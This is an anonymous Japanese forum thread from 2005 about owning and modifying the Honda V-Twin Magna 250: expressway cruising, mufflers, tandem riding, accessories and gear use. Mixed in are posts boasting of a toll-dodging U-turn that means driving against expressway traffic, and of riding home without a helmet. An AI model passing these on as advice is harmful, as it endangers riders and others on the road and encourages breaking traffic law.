ついでにマグナのエンジンはかなり丈夫だから5万とか6万キロ位でもエンジンをかけさせてもらって調子を見せてもらえたりしてよかったら問題ないと思う。
嫌がるなら何か分けあり品の可能性もあるから別で見たほうがいいと思う
冷却水空っぽ、エンジンオーバーヒートage 最悪○T￣Z
黒マグナに黒フルフェ
友達にダサいと言われても
気にしないような子に育ててくれた
父さん母さんありがとう
友達にダサいと言われても
気にしないような子に育ててくれた
父さん母さんありがとう
662 ：７７４ＲＲ：2005/06/13(月) 18:24:22 ID:jRIlv+dI
俺流も良いけど、世間の目を気にする事も大事だと思うよ
663 ：７７４ＲＲ：2005/06/13(月) 18:26:03 ID:n1nGOIFT
今日初めて高速道路で走った～１５０キロ走っても５００円！
バイクは安いなぁ～
バイクは安いなぁ～
まあ、安全第一ということで
>>661
マグナはフルフェもイケるアメリカンだと思うぜ。
俺も冬だけの間にしておこうと思ったフルフェをそのままかぶってる。
やっぱフルフェは楽。ジェッペルより重そうだが、つけてみるとそうでもない。
顔全体で支えるから高速時はもとより通常時も断然楽。一度試してみれ。
マグナはフルフェもイケるアメリカンだと思うぜ。
俺も冬だけの間にしておこうと思ったフルフェをそのままかぶってる。
やっぱフルフェは楽。ジェッペルより重そうだが、つけてみるとそうでもない。
顔全体で支えるから高速時はもとより通常時も断然楽。一度試してみれ。
＞661
いい親でよかったね。
すくすく育っておくれ。
いい親でよかったね。
すくすく育っておくれ。
667 ：７７４ＲＲ：2005/06/13(月) 21:07:15 ID:2ogMbXlW
ってまだ高速乗ったことないんですが、やばくないですか？マグナは100キロちょいしかでないとききます。
実家までの300キロを高速つかおうかなやんでます。
実家までの300キロを高速つかおうかなやんでます。
668 ：７７４ＲＲ：2005/06/13(月) 21:08:27 ID:jRIlv+dI
何が
669 ：７７４ＲＲ：2005/06/13(月) 21:09:15 ID:jRIlv+dI
何がやばいんだ？100キロしか出ないなら90キロ位で巡航すればいいじゃん
140キロ出ますが何か？
先月軽いツーリングのつもりで高速600キロ走りましたが何か？
中央分離帯無いところでＵターンしたんで高速代250円ですみましたが何か？
まあフルスロットルで巡航すると、激しく燃費落ちるから100キロごとに給油するように。
先月軽いツーリングのつもりで高速600キロ走りましたが何か？
中央分離帯無いところでＵターンしたんで高速代250円ですみましたが何か？
まあフルスロットルで巡航すると、激しく燃費落ちるから100キロごとに給油するように。
671 ：７７４ＲＲ：2005/06/13(月) 22:14:28 ID:2ogMbXlW
じゃー、思い切って高速走ってみます。
672 ：７７４ＲＲ：2005/06/13(月) 22:15:33 ID:2ogMbXlW
じゃー、思い切って高速走ってみます。ってか高速でおそかったらやばくないんですか？
あおられたり、ぬかされたり。普通の車は100キロ以上で走ってるんですよね？
あおられたり、ぬかされたり。普通の車は100キロ以上で走ってるんですよね？
>>670
100キロは言いすぎだが、かなり燃費落ちるわな。
ちゅーか、分離帯が無いトコがちょうどいい場所に2箇所必要になってくるんだが、そんな場所あんの？
ひとまずＵターンは東海北陸なり上信越なりでできるみたいだが。
100キロは言いすぎだが、かなり燃費落ちるわな。
ちゅーか、分離帯が無いトコがちょうどいい場所に2箇所必要になってくるんだが、そんな場所あんの？
ひとまずＵターンは東海北陸なり上信越なりでできるみたいだが。
>>673
まあガソリン入れるタイミングは100キロ位がいいよ
高速でのＧＳの間隔が50キロとして、走行距離100キロ過ぎると次は150キロまでＧＳ入れれなくなっちゃうからね
Ｕターン出来る場所は一箇所あれば行けるけど？
まあ逆走してる間に警察に捕まったら完全にアウトだけど
>>672
一昔前はバイクの高速での最高速度は８０キロだったから気になさるな
右斜線ならゆっくり走っててもまず煽られないから安全運転でＯＫよ
まあガソリン入れるタイミングは100キロ位がいいよ
高速でのＧＳの間隔が50キロとして、走行距離100キロ過ぎると次は150キロまでＧＳ入れれなくなっちゃうからね
Ｕターン出来る場所は一箇所あれば行けるけど？
まあ逆走してる間に警察に捕まったら完全にアウトだけど
>>672
一昔前はバイクの高速での最高速度は８０キロだったから気になさるな
右斜線ならゆっくり走っててもまず煽られないから安全運転でＯＫよ
678 ：７７４ＲＲ：2005/06/13(月) 23:54:16 ID:jlX1K+Ct
おまえマグナでそんなことしてんの？
なんでマグナ買ったの？
もっとちゃんと走るバイク（失礼）買えばいいのに。
なんでマグナ買ったの？
もっとちゃんと走るバイク（失礼）買えばいいのに。
実際峠とか走ると急坂登るとき６０ｋｍしかでないよ、マグナは。車体重くて。
だから峠とかスピードとか用途の決まってる人は別のバイク買うといいよ。
だから峠とかスピードとか用途の決まってる人は別のバイク買うといいよ。
680 ：７７４ＲＲ：2005/06/14(火) 15:17:37 ID:/XDdae5d
今聞いてきたけど、新車で納車1週間だな
1月ってやっぱりおかしい
どっか上の方の人
作り置き（展示車）だね、たぶん
バイク屋って横つながりがあるから、どっか店の探して持ってくるんだよ
1月ってやっぱりおかしい
どっか上の方の人
作り置き（展示車）だね、たぶん
バイク屋って横つながりがあるから、どっか店の探して持ってくるんだよ
>>676さん、電話かかってきてますよ
683 ：７７４ＲＲ：2005/06/15(水) 12:23:30 ID:84P6EqRD
>>682
鳴らない、電話
鳴らない、電話
684 ：７７４ＲＲ：2005/06/15(水) 13:39:52 ID:xXAc3lfW
不採用おめ
685 ：７７４ＲＲ：2005/06/15(水) 17:52:37 ID:84P6EqRD
とりあえず、おらもＶＴマグ買うことにしたんだけど
ランドセル（ｗ）二つ分くらいの荷物もっての25ｋｍくらいの移動と
15ｋｍくらいのタンデムが主な使用目的で、簡単にはずせるサイドバック
つけよーかなと
いくつか気になるんで教えてください
１、タコメーターつきますか？
２、タンデムのステップ位置はかえられますか？（社外オプションみたいのでも
３、ラジエターガードは有効ですか？
４、純正背もたれはタンデムの時あった方がいいですか？
５、１７５ｃｍの身長だと、フォアドコントロールつけた方がいいですか？（これは使ってからでもいいけど
ランドセル（ｗ）二つ分くらいの荷物もっての25ｋｍくらいの移動と
15ｋｍくらいのタンデムが主な使用目的で、簡単にはずせるサイドバック
つけよーかなと
いくつか気になるんで教えてください
１、タコメーターつきますか？
２、タンデムのステップ位置はかえられますか？（社外オプションみたいのでも
３、ラジエターガードは有効ですか？
４、純正背もたれはタンデムの時あった方がいいですか？
５、１７５ｃｍの身長だと、フォアドコントロールつけた方がいいですか？（これは使ってからでもいいけど
>>685
購入オメ
サイドバックとタンデムシート位置にネットで固定がお勧め
1.タコメーターは電気式のやつがつけれる。
2.タンデムステップはttp://www.geocities.jp/d_d_factory/こんなのを見つけた
3.ラジエターガードは飾りと思ったほうがいい、ガードとしてほしいならキジマから昔でてたエンジンガードがいい
4.小さくてもタンデム用に背もたれはあるとかなり違う。荷物を載せるときにも違いが出る
5.実際に乗って足がきついと思うならつければいい
購入オメ
サイドバックとタンデムシート位置にネットで固定がお勧め
1.タコメーターは電気式のやつがつけれる。
2.タンデムステップはttp://www.geocities.jp/d_d_factory/こんなのを見つけた
3.ラジエターガードは飾りと思ったほうがいい、ガードとしてほしいならキジマから昔でてたエンジンガードがいい
4.小さくてもタンデム用に背もたれはあるとかなり違う。荷物を載せるときにも違いが出る
5.実際に乗って足がきついと思うならつければいい
>>685
> １、タコメーターつきますか？
A, 付く
> ２、タンデムのステップ位置はかえられますか？（社外オプションみたいのでも
A .ある
> ３、ラジエターガードは有効ですか？
A. こけかたによる
> ４、純正背もたれはタンデムの時あった方がいいですか？
A. あるとうしろの人が楽
> ５、１７５ｃｍの身長だと、フォアドコントロールつけた方がいいですか？（これは使ってからでもいいけど
A .乗ってからきめてね！
> １、タコメーターつきますか？
A, 付く
> ２、タンデムのステップ位置はかえられますか？（社外オプションみたいのでも
A .ある
> ３、ラジエターガードは有効ですか？
A. こけかたによる
> ４、純正背もたれはタンデムの時あった方がいいですか？
A. あるとうしろの人が楽
> ５、１７５ｃｍの身長だと、フォアドコントロールつけた方がいいですか？（これは使ってからでもいいけど
A .乗ってからきめてね！
688 ：７７４ＲＲ：2005/06/15(水) 22:22:39 ID:Tv0O9k/i
【ドイツ】暴走バイク、ネズミ取り国内最高記録250km/hを達成し逃走に成功
http://news19.2ch.net/test/read.cgi/newsplus/1118819769/l50
記録ものの暴走バイク、ナンバープレート撮影失敗で不明
ドイツの首都ベルリン郊外でこのほど、「国内最高記録」とみられるスピード超過で
暴走中のオートバイを、無人式の速度取り締まり機のカメラがとらえたが、
車体後部のナンバープレートを撮影出来ず、違反者を逃す結末となった。
地元ビルト紙が１３日報じた。
違反者は、制限速度時速１００キロのところを、２倍以上の時速２５０キロで突っ走っていたらしい。
取り締まり機のカメラは通常、車体前部をとらえるが、問題のスピード凶はこの盲点を突いた形。
自動カメラで押さえたスピード違反行為では、ナンバープレートから車両所有者を特定、
その住所にあて、罰金支払いの請求書が送付される。
しかし、オートバイの場合は、ナンバープレートを撮影出来なかったことから、
罰金を免れる例が多数あるという。
2005.06.14 Web posted at: 21:41 JST‐REUTERS
http://www.cnn.co.jp/fringe/CNN200506140021.html
http://news19.2ch.net/test/read.cgi/newsplus/1118819769/l50
記録ものの暴走バイク、ナンバープレート撮影失敗で不明
ドイツの首都ベルリン郊外でこのほど、「国内最高記録」とみられるスピード超過で
暴走中のオートバイを、無人式の速度取り締まり機のカメラがとらえたが、
車体後部のナンバープレートを撮影出来ず、違反者を逃す結末となった。
地元ビルト紙が１３日報じた。
違反者は、制限速度時速１００キロのところを、２倍以上の時速２５０キロで突っ走っていたらしい。
取り締まり機のカメラは通常、車体前部をとらえるが、問題のスピード凶はこの盲点を突いた形。
自動カメラで押さえたスピード違反行為では、ナンバープレートから車両所有者を特定、
その住所にあて、罰金支払いの請求書が送付される。
しかし、オートバイの場合は、ナンバープレートを撮影出来なかったことから、
罰金を免れる例が多数あるという。
2005.06.14 Web posted at: 21:41 JST‐REUTERS
http://www.cnn.co.jp/fringe/CNN200506140021.html
689 ：７７４ＲＲ：2005/06/16(木) 12:22:11 ID:sTNgdR1D
個人的に外見はかなり完成されてるとおもうのですが。自分としてはフロントを少し長くしたいのですが、にあいますでしょうか？されてる方おられましたら教えてください。
ちなみに購入思案中の者です。
ちなみに購入思案中の者です。
691 ：７７４ＲＲ：2005/06/16(木) 17:24:54 ID:Z5b/sUHF
>>690
つ「採用」
つ「採用」
>>691
涙 （23話）
涙 （23話）
>>692
最後のシ者（24話）
最後のシ者（24話）
>>692
Air(エール)
Air(エール)
よく分からないけど、何かのｱﾆﾒ？
気持ち悪い
気持ち悪い
698 ：７７４ＲＲ：2005/06/17(金) 11:55:45 ID:zc30vCOr
マフラーをかえたいのですが、形は純正を気にいってます。形そっくりで音最高ってマフラー知ってたら教えてください。
>>698
たしかマグナ250用スパトラで、形&取付け位置は純正に近いのがあったはず…(´・ω・`)多分
たしかマグナ250用スパトラで、形&取付け位置は純正に近いのがあったはず…(´・ω・`)多分
700 ：７７４ＲＲ：2005/06/17(金) 18:39:58 ID:ZjmRDJix
>>698
亀石屋で検索すればたしか出てくるよ
亀石屋で検索すればたしか出てくるよ
702 ：トニー：2005/06/17(金) 20:59:20 ID:xBVJAIJ9
今はカワサキ２５０TRのってますが、大体嫁さんと2人で乗ることが多く、
高速では平地で100キロ、上り坂だと80キロが精一杯です。
自分としてはあくまで２５０㏄にこだわりたく、マグナとエリミ買うかどうか迷ってます。
たまたま試乗会でエリミｖ２５０に乗りましたが、コースの関係で３０キロくらいしか
出せなかったのであまり参考にはなりませんでした。
ただ、アメリカンのどっかりと座った感じがいい！
マグナかエリミを買ったら必ずウインドシールドをつけるという前提だったら
マグナでもタンデム高速120キロ巡航は大丈夫でしょうか？
あと考えているのはVTR２５０のエンジンはマグナと同じで馬力３２馬力でマグナ
より5馬力多いので、エンジン乗せかえるとか、マグナのエンジンをVTRと同じ
用にセッティングするかしたら、32馬力にはならないだろうか？
>>702
250でタンデム120k巡航はアメリカンだとどれでもきついと思う。
最高速って意味ならエリミのほうが出るかも
ただし安定して走る事は難しいと思う。
安定して高速で2人乗りするなら80ｋ位が安定だと思う
エンジンの載せ買えだけど同系列でスパーダのエンジンが簡単な部類で載せ変え可能だけど
どちらにせよある程度の知識と工具は必要
載せ変えると低速がスカスカになるので高回転で回して行く必要があるけど
そこまでするなら250の4発ネイキッド買ったほうがまし
250でタンデム120k巡航はアメリカンだとどれでもきついと思う。
最高速って意味ならエリミのほうが出るかも
ただし安定して走る事は難しいと思う。
安定して高速で2人乗りするなら80ｋ位が安定だと思う
エンジンの載せ買えだけど同系列でスパーダのエンジンが簡単な部類で載せ変え可能だけど
どちらにせよある程度の知識と工具は必要
載せ変えると低速がスカスカになるので高回転で回して行く必要があるけど
そこまでするなら250の4発ネイキッド買ったほうがまし
704 ：貧乏：2005/06/18(土) 09:54:46 ID:TwazZzql
マグナ250いらない人いたら
タダでちょうだいな
タダでちょうだいな
貧乏人ら
貰う→売る→借金に返済に当てる
貰う→売る→借金に返済に当てる
708 ：７７４ＲＲ：2005/06/19(日) 08:40:42 ID:D0dmsRfK
少しがまんすれば７月中ごろからリゾート地バイトがいっぱいあるぞ
給料安いけれど、楽しいぞ
給料安いけれど、楽しいぞ
海はお肌に悪いわぁ
プールって言う手もある
>>702
250で120km/hタンデムはやはりキツいと思います。
今はエリミ海苔なんですが、彼女乗っけて100も出すと、
車線変更など結構不安です。
直線走るだけならなんとかなりますけど、400以上をお勧めします。
250ではエリミかグランドマジェスティーが最も高速タンデム安定してると思いますが。
250で120km/hタンデムはやはりキツいと思います。
今はエリミ海苔なんですが、彼女乗っけて100も出すと、
車線変更など結構不安です。
直線走るだけならなんとかなりますけど、400以上をお勧めします。
250ではエリミかグランドマジェスティーが最も高速タンデム安定してると思いますが。
713 ：７７４ＲＲ：2005/06/20(月) 02:18:27 ID:5NxoMen3
V-TWIN MAGNAで通学している、またはしていたっていう人いる？
714 ：７７４ＲＲ：2005/06/20(月) 03:17:25 ID:5H/QRXc7
通学してるよ。趣味以上に、ないと困るものになっている。
漏れも。このバイクは乗ってなんぼじゃ。
>>707
幸運を祈る！
幸運を祈る！
717 ：７７４ＲＲ：2005/06/20(月) 12:48:37 ID:F21YwGWe
>>713漏れもマグナ250で通学してる。
718 ：７７４ＲＲ：2005/06/20(月) 13:14:46 ID:L1ejL+VW
俺もマグナで通学・・・ってか音が良いマフラーを紹介してくださいm(__)m
目標はハーレーみたいな低重音を強調した音・・・
多分無理だとはおもうけど、マフラーを変えただけでハーレーみたいな音になるってマフラーないかな？？？
なかったらせめて低重音が強調されるマフラー紹介してくださいm(__)m
目標はハーレーみたいな低重音を強調した音・・・
多分無理だとはおもうけど、マフラーを変えただけでハーレーみたいな音になるってマフラーないかな？？？
なかったらせめて低重音が強調されるマフラー紹介してくださいm(__)m
>>718
改造or質問スレへどうぞ
改造or質問スレへどうぞ
正直原付の方が通学でよく乗ってる…
だってキズ付くのやだもん
だってキズ付くのやだもん
通勤に使ってるよ。
というより正確にはどこへ行くにも乗ってるよ（晴れの日）
>>720
周りがバカスクとか、ヤン車ばっかだから結構学校の駐車場に停めると目立つよ('A`) 快適さはねぇ… 収納スペースがあれば良いと思うな～ まぁ肩掛けカバン使ってますし、収納スペースの無さはこのバイクだけの話しじゃないですしね。 俺的には快適だと思います
周りがバカスクとか、ヤン車ばっかだから結構学校の駐車場に停めると目立つよ('A`) 快適さはねぇ… 収納スペースがあれば良いと思うな～ まぁ肩掛けカバン使ってますし、収納スペースの無さはこのバイクだけの話しじゃないですしね。 俺的には快適だと思います
適当によそ行きの荷物作ってリュックに入れて暑いから背負わずにシートに固定
東京からふらりと走ってたら何時の間にか小田原・・・
そのまま箱根にきて温泉に入り素泊まり
数日連休取ってあるので明日はどうしようかな？と
まあ、病院も行かなくちゃいけないから、早めに帰らないとダメなんだけど・・・
このバイク、自分のペースでのんびりいろんなとこ行けるからいいね
以上、チラシの裏でした
東京からふらりと走ってたら何時の間にか小田原・・・
そのまま箱根にきて温泉に入り素泊まり
数日連休取ってあるので明日はどうしようかな？と
まあ、病院も行かなくちゃいけないから、早めに帰らないとダメなんだけど・・・
このバイク、自分のペースでのんびりいろんなとこ行けるからいいね
以上、チラシの裏でした
726 ：吉光：2005/06/21(火) 01:36:31 ID:5NUCneea
はじめまして☆マグナ最高っ！！
話は質問に変わっちゃうんですが・・・フォアコンを付けるために今のマフラーを
変えないといけなくなり・・(T.T)今のは音が大きくて結構気に入ってるんですが
今度付けようとしてるのがデイトナ製のドラッグパイプマフラーで
近接時の音がJMCA規制内の９３ｄｂらしんですが・・・
どのぐらいの音なんだろ？σ(^-^;)
話は質問に変わっちゃうんですが・・・フォアコンを付けるために今のマフラーを
変えないといけなくなり・・(T.T)今のは音が大きくて結構気に入ってるんですが
今度付けようとしてるのがデイトナ製のドラッグパイプマフラーで
近接時の音がJMCA規制内の９３ｄｂらしんですが・・・
どのぐらいの音なんだろ？σ(^-^;)
>>725行き当たりばったりノンビリツーリング。 ウラヤマ～(゜д゜)
728 ：718：2005/06/21(火) 08:31:31 ID:ym4TtxVU
改造、質問スレってどこにあるんですか？？
「改造&質問スレに行けっ」てのは、
◇◆国産アメリカンカスタム総合スレ◆◇ の事だと思うよ
◇◆国産アメリカンカスタム総合スレ◆◇ の事だと思うよ
730 ：７７４ＲＲ：2005/06/21(火) 16:41:56 ID:tJ6RgE8Z
>>718
250ccってどこどこ感を出せるマフラーはほぼ無い。
排気が小さいからどうしてもアクセルを回し始めるとバリバリした音が出る。
ハーレーのような３拍子はいらないと言うなら2IN1にして
サイレンサー容量の大きいマフラーする
後はエキパイにグラスウールを巻いてできる限り金属音を抑える
自分が聞いた事のある中ではアメリカンドリームスの2IN1ゴードンフィッシュやイージーライダースのFLHマシンガンマフラー
が結構低音がいい感じに出たと思った。
>>726
JMCA付いているのはノーマルマフラーに近い静かさだと思っていい。
ちなみに内部のサイレンサーはJMCAのは溶接してあるので取り外しが困難
ハリケーンのフォアコンをつけるならフロントのエキパイの位置が少し当たるだけだから
思い切ってあたる部分をへこまして逃がしを作るのもあり
250ccってどこどこ感を出せるマフラーはほぼ無い。
排気が小さいからどうしてもアクセルを回し始めるとバリバリした音が出る。
ハーレーのような３拍子はいらないと言うなら2IN1にして
サイレンサー容量の大きいマフラーする
後はエキパイにグラスウールを巻いてできる限り金属音を抑える
自分が聞いた事のある中ではアメリカンドリームスの2IN1ゴードンフィッシュやイージーライダースのFLHマシンガンマフラー
が結構低音がいい感じに出たと思った。
>>726
JMCA付いているのはノーマルマフラーに近い静かさだと思っていい。
ちなみに内部のサイレンサーはJMCAのは溶接してあるので取り外しが困難
ハリケーンのフォアコンをつけるならフロントのエキパイの位置が少し当たるだけだから
思い切ってあたる部分をへこまして逃がしを作るのもあり
732 ：吉光：2005/06/22(水) 04:01:40 ID:wnoOCLFK
ハリケーンのフォコンっすw（゜o゜）w ｵｵ－
ヘコますのも１つの手かぁ・・・☆
なんとかサイレンサーを外せるのかと思ってたけど安さに負けて買わなくて良かった(^_^;)参考としてもう一度組んでみます！
もしどうしても付けれない場合どの様なマフラーなら合いそうですか？
ヘコますのも１つの手かぁ・・・☆
なんとかサイレンサーを外せるのかと思ってたけど安さに負けて買わなくて良かった(^_^;)参考としてもう一度組んでみます！
もしどうしても付けれない場合どの様なマフラーなら合いそうですか？
めちゃマグナ欲しいんだけど置き場所の事やらなんやらで悩んでる
テレビとか見ててもいつのまにかマグナの事考えてたり・・
うー 今が一番楽しい時期なのかもなぁ～
テレビとか見ててもいつのまにかマグナの事考えてたり・・
うー 今が一番楽しい時期なのかもなぁ～
今頃見直して気がついた
スラッシュカットじゃなくてドラパイね
スラッシュカットじゃなくてドラパイね
スタイリングの決定にあたっては、
“ユーザーが求めている本当の250ccアメリカン・カスタムの新しい価値観はどうあるべきか”
をテーマに、車格や外観などを既存のモーターサイクルとはまったく比較することなく、
従来の軽二輪車の特徴である、軽量、コンパクト、取り回し性などにもとらわれずに、
“V-TWIN MAGNAの個性=新しい価値観”として模索することから始めました。
そのスタイリングは、鉄の馬に乗るカウボーイといったクラシカルなイメージというより、
'50～'60年代のパワフルなアメリカの四輪車を彷彿させるロングノーズ&ショートデッキのスタイルをイメージしました。
具体的なデザインワークにあたっては、あくまで低く、長く、幅広く、力強さがにじみ出る、
まさに「ワイルドな男のスタイル」をコンセプトに進められ、特に車体の構成にあたっては、
・ 従来のカスタムモデルの燃料タンクとは一線を画したフラット&ワイドなタンクシェイプ
・ ロングノーズ&ショートデッキのプロポーションを強調するダブルショットガンマフラー
・ 燃料タンク上面にレイアウトしたテーブルトップ型スピードメーター
・ ワイド&ワイルドをイメージ 付けるワイドハンドル
の4点をフィーチャーポイントとしました。
“ユーザーが求めている本当の250ccアメリカン・カスタムの新しい価値観はどうあるべきか”
をテーマに、車格や外観などを既存のモーターサイクルとはまったく比較することなく、
従来の軽二輪車の特徴である、軽量、コンパクト、取り回し性などにもとらわれずに、
“V-TWIN MAGNAの個性=新しい価値観”として模索することから始めました。
そのスタイリングは、鉄の馬に乗るカウボーイといったクラシカルなイメージというより、
'50～'60年代のパワフルなアメリカの四輪車を彷彿させるロングノーズ&ショートデッキのスタイルをイメージしました。
具体的なデザインワークにあたっては、あくまで低く、長く、幅広く、力強さがにじみ出る、
まさに「ワイルドな男のスタイル」をコンセプトに進められ、特に車体の構成にあたっては、
・ 従来のカスタムモデルの燃料タンクとは一線を画したフラット&ワイドなタンクシェイプ
・ ロングノーズ&ショートデッキのプロポーションを強調するダブルショットガンマフラー
・ 燃料タンク上面にレイアウトしたテーブルトップ型スピードメーター
・ ワイド&ワイルドをイメージ 付けるワイドハンドル
の4点をフィーチャーポイントとしました。
737 ：吉光：2005/06/23(木) 02:36:21 ID:FqP6+nZi
やっぱ付かなかったっすわ（>_<）
少し凹ますどころじゃ足りんかったッス・・・（Ｔ_T）
2in1かぁ(^-^)ゞ
結構カネをためないといけんなぁ・・・★
横浜ライニングってアメリカンドラッカーズと同じ会社？
ドラッカーズのマグナ用のドラッグパイプがお手ごろで結構気にいったんだけど
問い合わせてみたらフォアコンが付くかわからんらしい（>_<）
やっぱ金を貯めて2in1系をを買うかな・・・。
音がごつくてカッコイイし！！
少し凹ますどころじゃ足りんかったッス・・・（Ｔ_T）
2in1かぁ(^-^)ゞ
結構カネをためないといけんなぁ・・・★
横浜ライニングってアメリカンドラッカーズと同じ会社？
ドラッカーズのマグナ用のドラッグパイプがお手ごろで結構気にいったんだけど
問い合わせてみたらフォアコンが付くかわからんらしい（>_<）
やっぱ金を貯めて2in1系をを買うかな・・・。
音がごつくてカッコイイし！！
738 ：７７４ＲＲ：2005/06/23(木) 03:21:00 ID:QTAwGgfB
マグナはよいねまじで
739 ：７７４ＲＲ：2005/06/23(木) 03:22:04 ID:QTAwGgfB
マグナはよいねまじで
740 ：７７４ＲＲ：2005/06/23(木) 06:03:22 ID:Xe9btyzZ
その顔文字をなんとかしろ
>>740
なんで？ ﾅｳｲﾔﾝｸﾞはみんなつかってるYO！
なんで？ ﾅｳｲﾔﾝｸﾞはみんなつかってるYO！
742 ：７７４ＲＲ：2005/06/23(木) 15:25:33 ID:HYbeJHgV
初めまして マグナ２５０の白を新車で購入予定です
質問なんですがリアのシートに荷物を固定できる様に
荷掛けフックってありますか？ また無い場合、みなさんはどうしてますか？
いちおうネットで固定したいんですが。
質問なんですがリアのシートに荷物を固定できる様に
荷掛けフックってありますか？ また無い場合、みなさんはどうしてますか？
いちおうネットで固定したいんですが。
>>742シーシーバーホルダー、フェンダーレール？（下記URL参照）みたいなところの
下の方に、フック掛けるところアルよ。片側2つずつ。
画像見れば分かる鴨
ttp://bag02pr000.ac.yahoo.co.jp/users/1/9/9/1/mc_partscenter-imgbatch_1098454219/600x450-2004102200011.jpg ）
下の方に、フック掛けるところアルよ。片側2つずつ。
画像見れば分かる鴨
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745 ：７７４ＲＲ：2005/06/23(木) 19:06:24 ID:HYbeJHgV
>>747実は・・
俺も買ってから、1ヶ月目にしてこの「穴」の存在に気付いた・・OTL
俺も買ってから、1ヶ月目にしてこの「穴」の存在に気付いた・・OTL
749 ：７７４ＲＲ：2005/06/24(金) 04:58:36 ID:+K2OFaIK
S用のフックつきボルトてネットで買えない？
さて、天気もいいし休みだし、マグナと散歩してこようかなっ
751 ：745：2005/06/24(金) 13:43:05 ID:1ofvNvLn
>>746 オーダーかけてしまいますた。
まーなにかの時のためにストックしておく事にするよ。
まーなにかの時のためにストックしておく事にするよ。
>>752(-人-)
750だが・・出かけ先でヘルメット盗まれたよ(;Д；)SZ-RAM3ﾀｶｶｯﾀﾉﾆ･･
みんなはお店とかに入るときにメットをミラーにかけてっちゃダメだよ。
帰りはノーヘルになっちゃったけど、やっぱり風が気持ちいいね～。捕まんなくて良かった。
みんなはお店とかに入るときにメットをミラーにかけてっちゃダメだよ。
帰りはノーヘルになっちゃったけど、やっぱり風が気持ちいいね～。捕まんなくて良かった。
>>753(-人-)
756 ：７７４ＲＲ：2005/06/25(土) 00:44:47 ID:Hc/hakFA
メットホルダー 付いて無いんだね。
757 ：７７４ＲＲ：2005/06/25(土) 01:08:06 ID:jZzJQXmM
タコメーターってどっから拾う・・というか、どこにつなぐんですか？
759 ：７７４ＲＲ：2005/06/25(土) 13:20:03 ID:xIeLTq+t
マグナ？
マグソの間違いだろ？
ださっ
マグソの間違いだろ？
ださっ
760 ：７７４ＲＲ：2005/06/25(土) 13:48:40 ID:DpFeb/OS
>>759田舎物やな
761 ：７７４ＲＲ：2005/06/25(土) 13:48:51 ID:DpFeb/OS
>>759田舎者やな
これからもっと暑くなるんやけどみんなどんなカッコしてるん？
イエローコーンのレザーTとかどうなんやろ・・
まだマグナ買うか迷ってるんやけど、乗ってるときのこと考えて今は楽しんでる。
イエローコーンのレザーTとかどうなんやろ・・
まだマグナ買うか迷ってるんやけど、乗ってるときのこと考えて今は楽しんでる。
763 ：７７４ＲＲ：2005/06/25(土) 20:32:44 ID:jZzJQXmM
764 ：７７４ＲＲ：2005/06/25(土) 20:34:01 ID:jZzJQXmM
意味わからんか・・・
こけた後の車体を６０ナン万で買い取っていただくってことね
こけた後の車体を６０ナン万で買い取っていただくってことね
いつも5速使わず4速で街乗りしてるんですけど、
4速で60キロ出すとウォンウォン言ってる・・・
やっぱ5速までギア全部使った方がいいの？
ずっと4速のままだとエンジンに負担かかるのかな・・
4速で60キロ出すとウォンウォン言ってる・・・
やっぱ5速までギア全部使った方がいいの？
ずっと4速のままだとエンジンに負担かかるのかな・・
そりゃ低回転の方が負担も燃費もいいでしょ。
60キロが5速への切り替え時だと思いまつ。
60キロが5速への切り替え時だと思いまつ。
ウォンウォン言わせたくないし、エンブレも弱いしね。正確には65キロあたりかな。
ちゅーか、4速で100とかは引っ張り過ぎだと思いまつ。
ちゅーか、4速で100とかは引っ張り過ぎだと思いまつ。
速度一定にして走れる状態なら5速40ｋでもいけるよ
俺は、大体1速～２５km、2速～４０km、3速～５５kmって感じだな。
どうなんだろ。
どうなんだろ。
771 ：７７４ＲＲ：2005/06/26(日) 06:10:54 ID:YB62l6VJ
772 ：７７４ＲＲ：2005/06/26(日) 06:24:17 ID:KtTWv/RU
VTR海苔のオレが来ましたよ
773 ：７７４ＲＲ：2005/06/26(日) 11:44:24 ID:i2wGN4O3
マグナにバズーカマフラーをつけた俺がきましたよ～
すいません質問なんですが、
ディトナのtop box 汎用モデルを純正キャリアに
つけようと思うんですが、普通にネジ閉めるだけで付きますかね？
ディトナのtop box 汎用モデルを純正キャリアに
つけようと思うんですが、普通にネジ閉めるだけで付きますかね？
775 ：７７４ＲＲ：2005/06/27(月) 00:33:43 ID:9z88Ss/h
新車買うとしたら皆さんはブラックとホワイトどっちを買いたいと思いますか？
黒
777 ：７７４ＲＲ：2005/06/27(月) 00:46:00 ID:+CIUpTpx
ワインレッド
ホワイト
白
780 ：７７４ＲＲ：2005/06/27(月) 00:55:35 ID:RmuyFA+8
黒くろ～
781 ：７７４ＲＲ：2005/06/27(月) 01:56:47 ID:/YwtKZNG
ホワイトage
782 ：７７４ＲＲ：2005/06/27(月) 07:48:00 ID:iVkx3ttI
緑
783 ：７７４ＲＲ：2005/06/27(月) 11:03:25 ID:Ottc8Pd1
Vツインって他のエンジンとどう違うのですか？初心者の質問です。スミマセンm(__)m
>>774
ディトナのtop boxってgiviの事かと思いますが、
うちは純正キャリアに付けてるよ。
キャリアが角パイプなんで付属のステーのポジションは
選べるほどは無かったけど、それで問題なく使えてる。
ディトナのtop boxってgiviの事かと思いますが、
うちは純正キャリアに付けてるよ。
キャリアが角パイプなんで付属のステーのポジションは
選べるほどは無かったけど、それで問題なく使えてる。
>>783
Ｖ型の利点としては、軽量・コンパクト・なめらか・静か、だってさ。とりあえず、ぐぐってみ。
んで、どーでもいいでしょうが、無事電話は鳴りましたｗ
個人的に>>695の返しが好きでつた。
もまいらありがとう。
Ｖ型の利点としては、軽量・コンパクト・なめらか・静か、だってさ。とりあえず、ぐぐってみ。
んで、どーでもいいでしょうが、無事電話は鳴りましたｗ
個人的に>>695の返しが好きでつた。
もまいらありがとう。
毎朝、どうもアイドリングが不安定だ・・・
ドド、ド、ド、ドドド、ド、ドド・って今にもエンストしそう('A`)
暖気が足りないのかな・・
ドド、ド、ド、ドドド、ド、ドド・って今にもエンストしそう('A`)
暖気が足りないのかな・・
回転数あげとけば？ネジまわしまわし
プラグとかは？
789 ：７７４ＲＲ：2005/06/27(月) 22:00:17 ID:Ottc8Pd1
785 教えてくださってありがとうございますm(__)m
>>787
やっぱある程度回したほうがいいかな・・
なんだか、朝っぱらから近所迷惑になりそうで、
あんまり回せないんだよなぁ・・orz
>>788
新車買ってから、まだ2週間くらいなんで多分大丈夫だと思う・・けど、どうなんだろ。
とりあえず、チョーク引いてる時間をちょっと長くしてみます。
やっぱある程度回したほうがいいかな・・
なんだか、朝っぱらから近所迷惑になりそうで、
あんまり回せないんだよなぁ・・orz
>>788
